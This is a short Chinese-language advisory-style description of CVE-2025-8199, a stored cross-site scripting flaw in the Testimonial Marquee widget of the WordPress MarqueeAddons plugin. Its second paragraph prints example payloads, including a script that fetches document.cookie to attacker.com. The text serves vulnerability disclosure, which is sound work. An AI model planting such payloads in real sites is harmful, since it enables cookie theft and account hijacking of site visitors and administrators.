CVE-2025-8199CVE-2025-8199是WordPress MarqueeAddons插件中的一个存储型跨站脚本(Stored XSS)漏洞。该插件是一款广受欢迎的Elementor页面构建器扩展插件,为用户提供多种动态内容展示组件,包括轮播、公告和推荐展示等小部件。漏洞存在于插件的Testimonial Marquee(推荐轮播)组件中,源于对用户输入属性的清理不足和输出转义缺失。攻击者利用此漏洞可以在WordPress网站的页面中注入任意JavaScript代码。由于攻击脚本被永久存储在数据库中,所有访问包含恶意代码页面的用户都会执行这些脚本,攻击者可以借此窃取会话Cookie、劫持用户账户、修改页面内容或重定向用户到恶意网站。该漏洞影响所有版本直至2.4.3版本,攻击者需要具备WordPress网站贡献者级别(Contributor)或更高权限账户即可实施攻击。
MarqueeAddons插件的Testimonial Marquee小部件在处理用户输入的展示项数据时存在安全缺陷。具体而言,插件接收并存储用户提供的姓名、职位、公司及引用文本等内容时,未对这些输入进行充分的HTML标签过滤和JavaScript代码清理。当包含恶意脚本的内容被保存后,每次页面加载时这些未转义的代码都会作为HTML的一部分被输出到用户浏览器中执行。攻击者只需在创建或编辑Testimonial Marquee组件时,在姓名或引用文本字段中插入如<img src=x onerror=alert(document.cookie)>或<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>等payload,即可实现持久化的恶意脚本植入。由于该脚本存储在数据库中,任何访问相关页面的管理员或访客都会触发执行,形成存储型XSS攻击链。攻击者可能进一步利用窃取的认证会话cookie劫持高权限账户。